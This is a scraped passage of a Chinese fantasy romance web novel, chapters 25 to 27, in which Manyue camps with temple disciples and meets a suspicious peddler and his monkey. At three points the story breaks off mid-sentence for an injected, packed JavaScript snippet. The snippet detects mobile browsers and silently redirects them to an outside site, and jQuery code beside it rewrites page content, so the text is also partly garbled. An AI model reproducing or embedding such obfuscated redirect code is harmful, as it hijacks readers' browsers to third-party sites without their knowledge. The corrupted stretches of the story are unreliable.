满月不想节外生枝,没有讲自己落水的事,她将手拢在嘴边呵气:“可能是有点感染风寒了,不打紧。” 她话没说完,一双修长的手探了过来,摸了摸她的额头,便收回。 指尖温热的触感却残留在她的肌肤上。 满月捂着自己的额头抬眼看去,罪魁祸首挑了下眉,半点没有害她如此的愧疚,只问许陈仓:“你还有风清露吗?” 许陈仓哦了一声,后知后觉反应过来,从衣袖里取出一个碧绿玉瓶递给满月:“这是我自己兑的祛风寒的药,你喝一支就不要紧了。” 满月接过,打开瓶塞,一股玫瑰清露的味道扑面而来。 秉持着对陈仓为人的信任,她问都没问,仰头一口气喝下。 药水清清甜甜,一丝苦味都没有。 喝过药,她瞬间好了许多。 满月眼眸亮晶晶的,很是惊奇:“为何你们玄都观的药都这么好喝?一点都不苦。” 上次陆宴白塞给她的丹药也是,只有清香的草木气味。 这是他们玄都观什么独门秘笈吗? 许陈仓嘴角不易察觉地微微扬起。不过她语气一如既往淡淡的,就像在讲一件没什么了不起的事:“自然是因为我,旁人的药做的难吃,我的就不一样。” 她熟知药理,对自己极为自信,知道什么能中和苦味又不至于改变药性,因而制药时总爱加些巧思。 得知是许陈仓制的药,满月惊讶地看向她,忍不住感叹:“你太厉害了!” 许陈仓神色不变,只有忍不住又上扬几分的嘴角泄露了她的愉悦。 陆宴白旁观了全程,他若有所思地抬了下眉,笑吟吟道:“我之前也给你吃过,你怎么不谢我?” 满月动作一顿。 好在她这些天被锻炼出来了,脑子转得飞快,当即装傻充愣道:“我没道谢吗?可能是忘了,谢谢你。” 她说着,发上与衣服同色的发带恰巧迎着晚风飘起来,像兔子耳朵一晃一晃。 陆宴白不语,手托着脸,眉眼弯弯地瞧着她。 许陈仓扬起的唇角瞬时压了下去。从小一起长大,她可太清楚自家师兄这么笑的时候,往往预示着有人要遭殃了。 尽管她也不知道是谁惹到他了……不过宴白师兄的心情一向如海底针,神秘莫测,实属正常。 陈仓打消想给满月多塞几瓶有备无患的打算,默不作声往旁边移了移,若无其事跟玄妙抢起烤鱼来。 满月被这么看着,只觉自己存在感太高了。她向火堆前靠了靠,也低头扒拉起碗里的饭。 火堆上的烤鱼快被陈仓玄妙两个瓜分完了。程南楼并没有看到刚才发生的事,他习惯性照顾周全,见满月迟迟没动筷子,就从玄妙嘴边虎口夺食抢下一大块烤得焦香的烤鱼,放到了她碗里。 满月受宠若惊地抬起头,嘴边还沾了一颗米粒:“谢谢。” 程南楼笑容清浅:“不客气。” 满月端起碗,却感到陆宴白的视线还在她身上,她回头,正好迎上他愈加笑意盈盈的眸。 满月如芒刺背,瞬间觉得碗里的鱼肉宛如一块烫手山芋,吃也不是,不吃也不是。 ……谁来告诉她她究竟犯了什么天条。 满月手心冒起汗,她努力揣摩着陆宴白的心思,犹豫再三,兢兢战战地将还热乎的烤鱼夹起来,迟疑着放到了陆宴白碗里。 “要不然……你吃?”她眨眨眼,道。 25. 025 许陈仓离他们最近,亲眼目睹了事情发生的全过程,看到满月的举动,正在喝水的她一个没绷住,差点呛得咳嗽起来。 那可是,宴白师兄。 许陈仓在玄都观天不怕地不怕,但唯独跟玄妙一样,对宴白师兄始终保有几分敬畏之心。她再了解不过她师兄这副人畜无害的外表下,究竟隐藏着怎样恐怖的危险。 惨了。 许陈仓不免有些同情起满月。她对这个小妖怪还是很有好感的。 许陈仓放下水囊,表面不动声色继续吃着烤鱼,内心却开启了头脑风暴,盘算该怎么替她解围。 正思索着,她却用余光瞥见她师兄挑了挑眉,瞧向碗里的鱼,却并没有发作,只是稍稍思考了下,便拿起筷子吃了起来。 许陈仓瞳孔地震。 ……啊? 筷子停在嘴边,许陈仓震惊得一时都忘了张嘴吃饭,被一心放在烤鱼上的玄妙发现并及时捡了漏,美滋滋抢回半条鱼。 满月浑然不觉这举动有什么问题,她的想法很简单,伸手还不打笑脸人呢,吃了她的东西,总该不能再找她的茬了吧。 “……好吃吗?”满月边问边暗暗吞了口口水。 上次在客栈满月就发现了,这人吃东西细嚼慢咽,看起来就很有食欲。 陆宴白的回答还是模棱两可:“尚可。” 一来二去之间,篝火堆架上的烤鱼只剩下最后一条,玄妙眼疾手快就要占为己有,筷子还没挨边,却被陆宴白夹给了满月。 他笑着:“还你。” 突然被大魔王这么善待,不同于面对程南楼时的反应,满月只觉惊悚。 她下意识要拒绝,抬眼却对上陆宴白饶有兴致的眸,带着几分不易察觉的探究,分明温柔无害,可却莫名让人心头一寒。 程南楼送的就吃得,他给的就吃不得? 他没说话,不知为何,她却从他的眼神中读出了这一层意思。 满月硬生生将推拒的话转了个弯咽下,她勉强挤出笑容,以示自己的开心:“……多谢。” 玄妙浑然不觉这短短的一瞬发生多少千回百转的变故,他的心思全在烤鱼上:“我的烤唔……” 哀叹声没出口,许陈仓就拿了个粗面馒头堵住他的嘴。 玄妙怨恼地瞧向陈仓,却见他师姐安静地低头吃着饭,看也不看他,声音淡淡道:“吃你的,别看别听别说话。” 玄妙:? 篝火丛丛燃着,摇曳着火光,将夜色挡在了暗处。 许陈仓心绪久久难以平复。 ……她师兄该不会是想收妖宠了吧。 玄都观虽然不歧视妖,但若说人与妖相恋,就算最不拘一格的陆宴白身上,也还是未免太惊世骇俗。 所以许陈仓充其量只能往这方面考虑。 想想也是,满月虽不是五官艳丽的大美人,却胜在灵动,眸子清亮亮,尤其笑起来弯弯的像月牙儿,声音也又甜又软,是个可可爱爱的小妖怪。 可收妖宠这事,也只有罔顾世俗人伦的邪道会做,放在名门正派的玄都观,是断断不被允许的。 不过宴白师兄……只要他想,这些世俗规则是万万挡不住他的,可要是他真的这么做,除妖司那边又该发难了…… 许陈仓沉浸在自己的思绪中越走越远不可自拔。 旁边玄妙不乐意了,他拿下嘴里的馒头,抱怨道:“师父一走,师姐就欺负我。” 许陈仓头也不抬,只冷笑一声:“师父还说要谦让呢,你吃那么快,也不知道留一些给其他人。” 行藏道人不在,玄妙很是猖狂,谁也不放在眼里:“是你们自己手慢,与我什么相干。” 许陈仓冷冷抬眼,看不惯他泼猴似无法无天的样子,故意吓唬他:“你这么能耐,晚上你来守夜,看这山里的山鬼不把你抓了去,到时没人来救你。” 玄妙吐吐舌头。 他师姐就爱拿狼来了这套吓他。 “山鬼算什么东西。”玄妙擦擦嘴上的油,一脸不以为意,“等他们来,看我不把他们打个落花流水。” 他话音刚落,一阵风不知从何处忽的刮了过来,带着不符时节的寒峭与森冷。 玄妙缩了缩脖子,将才还天不怕地不怕的气势顿时偃旗息鼓。 许陈仓呵了一声,乜斜他:“不是说要把他们打个水落石出吗?这就怕了?” 玄妙语塞,他不着痕迹地往程南楼的背后挪了挪,多了几分安全感,才逞强道:“谁,谁怕了。” 许陈仓面无表情地垂下眼。那诡谲阴冷的风忽然打了个旋,不轻不重钻到玄妙衣领里。 玄妙哇地一声叫起来,被吓得眼中泛起了泪花:“师兄!” 程南楼略有点无奈:“好了,别吓他了。” 许陈仓眉梢微扬了扬,不以为然。 玄妙听到程南楼的话,方才明白过来是他师姐动的手脚。 他挂着眼泪鼻涕,一时又气又恼:“你,你……” 许陈仓扬起嘴角,万年不变的冰山脸终于有了变化。 她瞧着玄妙,暗含得意洋洋:“我什么?” “你欺负我,我要告诉师父!” “告就告,你有没有传音符,要不要我送你一张?” “你!” 程南楼见多不怪。满月听他们你一言我一语的斗嘴,倒莫名觉得有点温馨。她在三危山一向是被孤立的边缘群体,除了蔓娘子,很少有说得上话的同伴,对这种打打闹闹的氛围反而有些羡慕。 她一转眼,却发现陆宴白不知何时离开了,大约是嫌聒噪,躲清闲去了。 啧,比她还不合群。 用过晚膳,几人各自散开,只剩满月坐在篝火前,枯枝燃时发出的哔剥声阵阵。 满月一边给小肥啾理着毛,一边打量起四周,寻找着程南楼的身影。 许陈仓将器具收点好,重又回来在满月身旁坐下。 满月扫了一圈也没看到程南楼,于是问道:“陈仓,你可知道程公子去了何处?” 许陈仓听她称呼自家师兄为公子,起了一身鸡皮疙瘩。 她摸摸胳膊,道:“你直呼他姓名即可,我们并非红尘中人,不讲究这些。” 言毕,她抬头看了眼周遭,猜测道:“许是去了溪边吧,我刚才看到他往那边去了。” 满月道了谢,抱着小肥啾起身,往溪边去了。 满月离去的背影映在火光中逐渐模糊。 许陈仓注视着她离开,摸了摸下巴。 这小妖怪分明对她南楼师兄更有好感。 还真是一团乱麻。 夜晚很安静,头顶月亮正明,清辉泼洒下来,斑驳照见林间。 满月紧紧抱着怀里的小肥啾给自己壮胆。 她一脚深一脚浅来到了溪边,月光下的溪水波光粼粼,像细碎的光点。 程南楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程南楼颔首,他对着旁人,永远是这一副温文尔雅的模样,目空一切,又包容一切,与行藏道人有些许相似。 “她真身何在?若是不介意,可以让我看一看。”他三言两语,便将满月的有事相求,化解为自己主动相求。 ……太温柔了。 殊不知他越是这样体贴,满月的罪恶感就越重。 满月将琉璃灯拿出来递给程南楼,琉璃灯映着月光,却是光芒黯淡。 程南楼放在手上,他轻轻阖目,动用灵力感知着灯盏的情况。 满月屏气凝神,等待着结果。 片刻,程南楼睁开眼,正正好对上满月黑如曜石的眼。 她有一双很漂亮的眼睛,形状像花瓣一样,眸子黑白分明,有什么心思与情绪总自以为掩饰得很好,实则一目了然,也难怪师兄总爱逗她玩。 程南楼轻轻抚上灯盏,灵力自他修长的指间而出,源源不断被送入盏内。 良久,程南楼收回手,不知是不是错觉,原先黯淡的琉璃盏,似乎变得亮了一些。 “你的灵……朋友受了伤,不过我感知到她正在好转,只是需要一些时日养伤。”程南楼垂眸,将琉璃盏送还,“我度了些灵力助她,你不需要太担心。” 26. 026 满月悬了多日的心因着程南楼的话终于放了下来。 她仰起脸,黑眸映着星月,竟也如琉璃盏一般的亮:“多谢你。” 程南楼笑了笑:“不客气。” 满月接回琉璃盏,小心翼翼放回乾坤袋。 最要紧的事得到了解决,积压多日的重负骤然卸下。她的目光略过他手上的骨笛,好奇问道:“你刚才吹的是什么曲?很好听。” “好听吗?”程南楼轻轻笑了下,眼中似有波澜泛起,细看又荡然无存,“随便吹的,并没有名字。” 满月点点头,没有继续追问。 “你……” “对了!”忽然她想到什么,忙低头翻拣起乾坤袋。 程南楼怔了一怔,不明所以,但还是耐心地等在一旁。 “这个送你。”半晌,满月终于挑选到了合心意的东西。她小心翼翼地朝着程南楼伸出手,掌心中躺着一枚精巧的扇坠,灵力凝成的金线在温润的白玉中流转,一看就不是凡物。 这是蔓娘子留给满月的盘缠之一,虽然放在市面上也只是中上品质,但已是她手里最有价值的。 “我没什么太好的东西,只有这个能当谢礼。”满月怪不好意思,“多谢你费心帮忙。” 其实更重要的,算是她微不足道的一份小小补偿。 为了保命,她不想再主动参与原著的事情。鸵鸟心态也好,逃避可耻也罢,她都只能用这样的方式来稍稍缓解内心深处的愧疚感。 程南楼目光在白玉扇坠上顿了顿。他清浅地笑了下:“本也不是什么大忙,不值得如此道谢。” “不,你定要收下的。”满月抿抿唇,似是想到了好借口,她眼睛倏然一亮,重新抬眸看向他,“若是小灯不醒,我还是要麻烦你的,你不收下,我日后反倒不好再求你帮忙了,不是吗?” 她言笑晏晏,澄明的眼满是恳切。 怕他仍拒收,她忙将扇坠塞到他手里,玉坠穗子扫过他掌心,激起些微的灵力涟漪。 满月先斩后奏:“就这么说定了,扇坠不贵,还望你不要嫌弃才是。” 程南楼望着掌心流转的玉光,有点小无奈,他笑着摇摇头,知是满月的心意,也就不再拒绝:“恭敬不如从命。” 满月了却一桩心愿,长舒一口气。 她摆摆手,眼睛弯起来,笑意真切:“那我就先回去,不打扰你了。” 程南楼颔首,恰好一阵夜风拂过,吹动他衣衫,衬得他身形如松柏挺拔,巍然不动。 满月转身离开,她身影隐在林中没多久,身后的笛声又若有似无地传来。 小灯没有大碍,程南楼收下了她的谢礼。 这两桩是近日里发生在她身上的经历中为数不多的令她感到轻松的事情。 她哼着刚听来的小调,嘴角不受控制地上扬。 送了礼,她内心的愧疚或多或少减轻了一些,心底溢满愉悦,连走路都不觉带风。 唉,多希望这样轻松的日子能过久一点。 想着,满月没留神,迎面就撞上一个东西。 好痛。 满月嘶了一声,她捂着被撞红了的额头抬头,发现是一个人的手臂,再往上…… 满月:“……” 她才刚飘起来的心,瞬间沉入谷底。 不知为什么,她隐隐有种危险的直觉——不可以让陆宴白知道刚才她和程南楼之间发生了什么。 陆宴白倚在树干上,双手交叠环抱胸前,一张脸在月光映照下很是白皙,连带着平平无奇的眉眼也多了几分月色的清冽,正似笑非笑垂眸瞧着她。 满月脸上的笑容瞬息转淡,她摆出公式化客套疏离的笑容:“好,好巧。你也来这里散步吗?呵呵……” 陆宴白眉眼弯弯,因着站得近,他居高临下,颇有些压迫感:“散步?” 他一字一顿,饶有兴致地玩味着这两个字。 夜色飒飒,吹得树梢作响,伴和着身后不远处的笛声,意境清幽深远。 如果不是面对着眼前这个人,倒真的称得上心旷神怡。 满月暗自叫苦不迭,莫名有点心虚。 虽然她也不明白自己为什么会心虚。 原著里有关陆宴白黑化前的事情提的并不多,可据满月这两天的观察,他和程南楼的关系目前还算融洽,没道理她找程南楼聊天……会惹得他不开心吧? “……你怎么会来这里?”满月眨眨眼,若无其事。 她已尽力掩饰,可紧张与害怕还是从细微之处不经意泄露出来。 陆宴白盯着她看了会儿,倏地弯起唇角,笑得很是温柔。 他越笑,满月越是觉得自己死到临头。 她没忍住后退了一步,凭借着强大的意志,才没有立刻掉头就跑。 陆宴白将她的反应尽收眼底,越发觉得有意思。 他弯起眼睛,正要讲话,却听到不远处传来一声急促的尖叫声,骤然撕破了安静的夜色,不仅打断了两人的僵持,还惊起一树的落鸦。 夜枭怪叫着成群离去。 陆宴白循着声音的方向瞧了一眼,略略挑了下眉。 满月也听出来了,她蹙起眉头,一时再顾不上他们之间的纠葛,看向陆宴白求证:“我怎么听这声音……像玄妙?” 陆宴白望着深不见底的林间,未置可否。 满月有些惴惴不安起来。她看看漆黑一片的密林,又看看眼前的陆宴白,不知如何是好。 他半张脸隐在暗中,实在让人瞧不出在想些什么。 “你回去找陈仓。”陆宴白淡淡道,语毕,他才只身向林中而去。 满月犹豫了片刻,还是小跑着跟上了他:“我,我和你一起去吧。” 陆宴白垂眸看她一眼,眉梢微挑,似乎有些讶异,不过并没有拒绝。 这种时候倒是不害怕他了。 满月知道自己几斤几两,没想着跟过去能帮上什么忙,只是先下不知发生了什么,林子里随时可能潜伏着危机,这里离回营地还有段距离,虽然待在大魔王身边也不是百分百安全,总比她一个人走夜路强。 那一声尖叫过后林中就再没别的声音传来,周遭重新恢复了原本的平静。可正是这样的平静,才更让人心生恐惧,仿佛有什么未知的危险潜伏在暗处。 满月胆子小,不久前又才经历过红线道人的事,不免更加心有戚戚。 她紧紧跟在陆宴白身后,亦步亦趋。 沿着声音的方向走,林子变得浓密,虬结的古木遮天蔽日,交错宛如鬼手,月光也被割裂的七零八落,当最后的一丝光亮也被遮蔽,四下陷入纯然的黑暗。 满月的心砰砰直跳。 黑暗之中,五感不受控制被放大,潮湿的泥土气息混合着夏夜里不知名的花香,此时却像是不怀好意的催命符,四周寂然,只有踩在腐叶上的轻微响静。 满月的注意力格外集中,警惕着随时有可能冒出的危险。 啪嗒—— 枯枝断裂的声响在一片寂静中显得过于清脆。 满月被这动静吓了一跳,她叫了一声,惊得林间不知什么东西仓皇而逃,所过之处惊起无数夜里栖息的飞禽,她下意识躲到了陆宴白身后。 “只是踩到了枯枝。”陆宴白扫了眼满月紧抓他的手,隔着衣袖,他都能感觉到她微微的颤栗,有点好笑,“怕了?” 后知后觉反应过来自己干了什么,满月的脸腾的一下变红了。 她赶忙松开手,悻悻地错开了距离,正打算嘴硬挽回一些本来就没有的面子,干净清冽的雪松气息就先略过鼻尖。 等满月反应过来,一张符箓已经被贴在了她的额头。 满月一怔。 陆宴白的体温自来比常人低上不少,他收回手,她的额头却仿佛还残留着他指尖的凉意。 陆宴白做完这件事,就头也不回继续往前走,好像什么都没发生过。 满月取下符箓,符箓上的金光若隐若现,蕴含着灵力。 不知怎么她想起了从塌陷的九曲地宫出来时那张化为齑粉的符纸。 满月看着符箓,心神不觉微漾。 其实如果不考虑原著的话,他也…… “还不走?”陆宴白见迟迟没人跟上来,停下了脚步。他回头看她,瞧清她呆愣愣的模样,莫名觉得有趣。他微微勾起嘴角,故意逗她,“不会用吗?你们三危山不至于都没教过灵符吧?” 满月:…… 刚升起一丝好感就被干净利落扼杀在了摇篮中。 多次打交道的经验教训让满月清楚,这人有着极为幼稚的一面,越是回应,就越是会被牵着鼻子走,最好的策略就是把他的嘲讽当耳边风。 满月攥紧符箓,扬起笑脸:“多谢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995430|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过有了这个插曲,先前危机四伏的恐怖氛围削减了不少。满月攥着符箓,心也安定下来,不再疑神疑鬼。 穿过密集的树林,前方视野陡然开阔起来。不远处是一大片空地,离着尚有一段距离,便看见有人站在那里,只是看不清究竟是何人。 满月忙停了下来,陆宴白却恍若未闻,径直往那片空地而去。 满月以为他没看见,正待出声提醒,就先听到有人道:“宴白师兄。” 满月一愣,但见前面的人已回过头看着他们,正是先他们一步赶到的程南楼。 玄妙在他身侧,耷拉着脑袋,一副怏怏不乐的神色,除此之外还有一人站在对面,是个三十来岁的壮年男子,穿着方便赶路的粗布短衣,上面缀满了深浅不一的补丁,头戴笠帽,身背箩筐,瞧上去朴素老实,与普通的庄稼人没什么区别。 但诡异的是他脚边,竟蹲伏着一只猴子。满月眨了眨眼,又眨了眨,这才确认自己没看错。 真的是一只猴子。 那猴子似是生了癞疮,身上的毛发好一块坏一块的,冷不丁看去有点吓人。 这怪异之处不觉让她重又生起警惕之心。 她迟疑的工夫,陆宴白已经走了过去。他扫了眼旁边的玄妙,才又看向那陌生男子,面上照旧挂着平日的笑容,在融融月光下,却有几分不易察觉的疏离与冷冽:“这位是?” “俺路过滴,本来在这贺儿休息,听到这小兄弟呼救,才过来瞅瞅。”男子咧起嘴,操着一口浓重的乡音,土话不像土话,官话不像官话。 程南楼适时解释。原是玄妙出来解手,看到林里有未幻人形的小精怪,一时贪玩追了上去,结果被精怪使坏绊住了手脚,吓得他以为遇上了山鬼,大喊大叫起来。这男子乃是在这附近休憩的一位货郎,名叫陈荣,以为是有人遇到了山间野兽,闻声带了镰刀过来,那些精怪这才散去。 许陈仓也循声赶到这里,听了这前因后果,她毫不客气地嘲笑道:“不过是些小精怪,这就把你吓到了?” 玄妙丢大了脸,他扯着程南楼的衣袖,闷声道:“都怪师姐。若不是你先前吓我,我,我定然也是不会怕的。” “是吗?”许陈仓不以为然,“那你下次解手一个人去,有本事别叫师兄陪着你。” “你,你……” 两人说着又斗起嘴来。 程南楼习以为常,只向着那叫陈荣的货郎又道了一次谢。陈荣皮肤黝黑,方脸盘上颧骨高耸似两座小丘,厚嘴唇裂着几道血口子,偏生配了双绿豆小眼。此刻他眯着眼笑时,眼缝里精光乱窜,却又透出几分山民特有的实诚:“俺瞧几位又俊又体面,和俺这山里人可不同,听你们口音,几位可似打北边过来的除妖师?” 这没什么好隐瞒的。 程南楼颔首,承认了他的猜测。 “可好,可好。”陈荣一笑起来,更显得憨厚了,“俺头次错来卖货,没走过这贺儿,有你们除妖师在,俺可放心了。” “你头次来这里?”陆宴白不动声色问道。 从始至终,多是程南楼与对方交涉,陈荣听到陆宴白开口,才笑呵呵瞧向他:“可不似,俺一般只在俺家那贺儿走动,听人说这贺儿人多才过来,结果几里路都不见一个人,俺打算再往前走走,到了前边密云城,带点新奇货回去,也不算白跑一趟。” 他三言两语就将自己的底细交代得清清楚楚。这般开诚布公,无形之中不觉让人对他放下些许戒备。 许陈仓眼尖,且她性格一向我行我素不怕得罪人,瞧见他旁边卧着个丑猴子,皱了下眉,直截了当问道:“你们货郎走货,怎么还带只杂耍猴子?” “姑娘不知。”陈荣顺着许陈仓的目光也看向自己脚边的猴子,“这似俺前贺儿遇见个打踅的戏班,这猴儿生了病,那班主想杀它吃肉,俺瞧着可怜,用了俩仨钱子儿赎了来,这荒山野岭不见个人,也算个伴儿。” 许陈仓屈膝半跪下来,那丑猴子似乎被训练过,一见人就抱拳作揖,有模有样的。许陈仓见它不伤人,抬起它的胳膊看了看,从随身的香囊中取出一粒丸药放在手心,递了过去。猴子嗅了嗅,见不难闻,才一口吞了进去。 陈荣不明所以:“姑娘这似……” “它只是生了疮,没太大事。”许陈仓道,“我给你一包药丸,让它服用个几日,就好利落了。” 27. 027 陈荣被许陈仓这番话说得一愣一愣:“这姑娘还能跟牲畜治病不成?” “都是万物生灵,为何治不成?”这样傲气的话由许陈仓说来,就简单仿佛在讨论晚上该吃什么饭。 陈荣果然被唬住,他猛地抱拳道:“厉害厉害,俺这似有眼不似(识)仙姑啰。” 许陈仓并没有把他的恭维放在心上。 危机暂除,天色已深,他们商议之下,决定让陈荣跟着回营地休息一晚。 货郎栖身之处离这里不远,他跑过去三下五除二就裹了蒲草做的铺盖来,速度快得仿佛生怕他们丢下他先走了似的。 “好人,你们都似大好人。”货郎好像久不与人交谈,一路上絮絮叨叨个没完。 回到营地,篝火将息未息,余烬中还留着两三块没收起的黍米饼,烤得酥香焦脆。 货郎瞧见,喉头不觉滚动了下,干裂的嘴唇微微翕动,眼珠死死黏在食物上,怎么挪也挪不开。 程南楼拨弄火堆树枝的手顿了顿,善解人意道:“你还没用晚膳吗?” 陈荣舔舔有些干燥的嘴唇,咽了口唾沫:“俺只带了些干粮,后头还不知道要走多远,可不得省着点吃。” 言下之意就是没吃。 许陈仓将剩下没动过的吃食汇在一起给了他,陈荣也不客气,端过来狼吞虎咽就将一碗饭一扫殆尽。 吃完他仍意犹未尽,眼睛炯炯有神地瞧着剩下没收起的残羹冷炙。 许陈仓道:“这些都动过了。” “俺不在意不在意。”陈荣笑笑,抢答道,“在外头哪贺儿还讲究这些。” 许陈仓见状不再多言,将剩饭也倒给了他。也不知他多久没吃过饱饭了,稀里糊涂,就着碟小菜就全部吞之入腹。 玄妙看得入神,手中松子落在膝头也不知道。那货郎连沾着菜渣的碗沿都舔得锃亮,最后甚至将碟中酱汁都喝了个干净。 陈荣将碗搁下,抹了抹嘴,瞧猴子盯着他,便从箩筐里掏出个布囊,翻开里面掰下一小块黑面馍馍给它。 玄妙没见过这样的人,只觉处处透着新奇:“你这只猴子有名字吗?” “算有吧,俺是在青河那贺儿买下它的,俺没读过几天书,想不错什么名字,索性叫它小河。”陈荣摩挲着猴子秃了一片的脑袋,眼底泛起奇异柔光。 玄妙一脑瓜稀奇古怪的问题,与陈荣聊得甚是有来有回。许陈仓和程南楼话不多,均坐在一旁静静听着。陆宴白回来后就不知又跑到什么地方躲清闲了,到处找不到人。 满月抱膝坐在离他们稍远一些的阴影中,怀里的小肥啾不知什么缘故从刚才回到营地就有点无精打采,鸟喙埋在羽毛间,不太想搭理人。 满月摸着小肥啾的脑袋,心神不宁。 主角团一向以助人为乐,如今初出茅庐,未经历过原著剧情的打磨,警惕心明显不足。 可满月自小生活的地方却是实打实地布满了暗潮涌动的危机,让她有着超乎寻常的对危险的直觉。她总隐隐觉得这人有点不对劲,可具体是什么地方不对劲,又说不上来。 这话也没法对主角团讲。何况她自己都是受到帮助的一个,有什么资格让他们别多管闲事呢,只能盼着平安度过这几日。听那个陈荣的意思,他要去前面的密云城,只希望能安安稳稳度过这段时间。 想着,满月瞧向对角的陈荣,篝火的火光映在他周身,她视线下移,正好与那只名叫小河的猴子对上。 小河黑黝黝的一双眼,仿若无边无际的黑洞,不经意间将人吸入其中。 满月愣了愣,正要再看,小河却突然冲着她呲起了牙,不知想笑还是威胁,但一眨眼,它就偏开了头,好像刚才的一切都只是她的错觉而已。 满月蹙起眉,不禁抱紧了怀中的小肥啾。 小肥啾被勒得有些难受,抬起小脑袋抗议:“啾~” “你怎么一个人在这里。”清越嗓音裹着夜风拂过耳畔。 满月抬头望去,不知从哪里回来的陆宴白在她身边坐下,离近些,她闻到他身上的松柏气息,裹挟着些许夜露的湿意。 他去了林子里。 难道…… 陆宴白垂眸看了她一眼,篝火在十步之外跃动,碎金般的光点落在他眼睫上,将那双总含三分笑意的眸子映得忽明忽暗。 满月心神一动。 他肯定是回去查看了将才玄妙出事的地方。 不知怎么,满月就是如此断定。 不得不感叹一句,大魔王还是大魔王,和如今胸无城府的主角团相比,心思果然要更重一些。 不过这种时候反倒让她有种安全感。 太好了终于不是她一个人有这种上不了台面的想法。 满月悄悄靠近了陆宴白。她瞥了眼前面,确定没人注意他们,才压低声音道:“你也觉得他有问题吗?” 离得近,少女身上杏子糕的甜香扑面而来。陆宴白正在百无聊赖转着铃铛的手顿了顿,他偏过头,她莹白的脸近在咫尺,细小的绒毛清晰可见,映着不远处的篝火,像沾了月色的蜜桃。 “‘也’?”陆宴白眉梢微扬,铃铛在他指间转了个漂亮的弧度,他一手撑着脸,似笑非笑瞧向她,漆黑眸子有着某种摄人心魂的洞察力。 满月这才惊觉自己说漏了嘴,一时有些不好意思,忙转开眼,不说话了。 “你的扇坠又没交给我。”陆宴白晃了晃手中的铃铛,弯眼笑起,“若真觉得这人有问题,为何不去找程南楼商量?” 满月睁圆了眼。 一瞬间她像是篝火堆四溅的火星灼到,从脸颊一路红到了耳根。 原来那时他看到了。 “你,你……”满月一时又羞又恼,不知如何是好,只能指责他,“……你偷看!” “我不过是散步。”陆宴白笑得好不无辜,在说到“散步”二字,他故意拖长语调,“凑巧看见这么有趣的一幕罢了,怎么能说是偷看。” 满月:…… 她被打趣得想死的心都有了。 满月送程南楼白玉扇坠,表面上是感谢他替自己医治小灯,实际上是为了缓解压得她喘不过气来的愧疚感。只是这个真相没法说出口,单对着程南楼还好,落到旁人眼中,总显得她像另有用意一般。 她强烈的情绪起伏吓得小肥啾炸了毛。 满月深深吸一口气,勉强平复下心情,安抚着小肥啾往旁边挪了挪。 早知道她就不该开这个头和他搭话。 陆宴白好整以暇打量着她。在火光映照下,她的耳尖红得滴血,脸颊气得鼓鼓的,像糯米团子一样,甚是可爱。 陆宴白弯起眼睛。 “春心萌动原也寻常,我师弟自来受欢迎,你瞧上他不是不能理解。只是……”浑然不介意满月的闪躲,陆宴白倾身凑近了她,他捏着她还带着婴儿肥的脸颊,笑吟吟同她对视,让她避无可避,“我那个师弟最是恪守人妖殊途的规矩,从前不是没有发生过这样的事。不想受伤,你还是趁早别动那种心思为好。” 这都什么乱七八糟的! 满月着实被说得气急败坏了。她挣脱开他的手,小声抗议:“你别瞎说!我才没有!” 陆宴白瞧她这样笑得更开心了:“不是的话,那为何生气?” 满月:“我,我……” 她没法解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995431|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在此时,不远处的篝火似乎落入什么异物,噼里啪啦炸了一下,爆裂声遮盖了其余的声响,也惊醒了满月。 不对啊。 被步步紧逼的言语激得过热的脑子迅速冷静下来。 陆宴白也不是爱管这种闲事的人,什么时候这么“好心”讲这些了。 满月猝然抬眸,篝火在陆宴白的面容上投下摇曳的阴影,照得他眼中的促狭笑意晦暗不明,他甚至懒怠遮掩眼中流转的戏谑,就这么任她盯着着。 果然。 这家伙是故意的!! 满月终于后知后觉回过味。 对陆宴白不同常人的恶趣味,满月早见多不怪,然而这一次还是——想杀了他。 陆宴白眉眼弯弯:“真的生气了啊。” 满月冷哼一声:“才没有。” 言罢她一刻也不想与他多待,抱着小肥啾起了身,避难似的逃回主角团大部队。 陆宴白越发弯起嘴角。他向后倚着古柏树干上,饶有兴致目送她狼狈逃走的身影,黑沉眸子映着篝火,明灭不定。 满月挨着陈仓重新落座。这边正聊得火热。陈荣走南闯北卖货,练得一副好口才,是讲故事的好手。他眉飞色舞地讲述着自己的一些奇特见闻,不说玄妙年纪小没见过世面,就连陈仓都快听得入了神。 满月来的时候陈荣正好讲完一段,他拿起旁边的水囊咕咚咕咚灌着缓解口干舌燥。那边玄妙还在追问:“那个老婆婆真的是鬼吗?她家里人就一直没发现?” 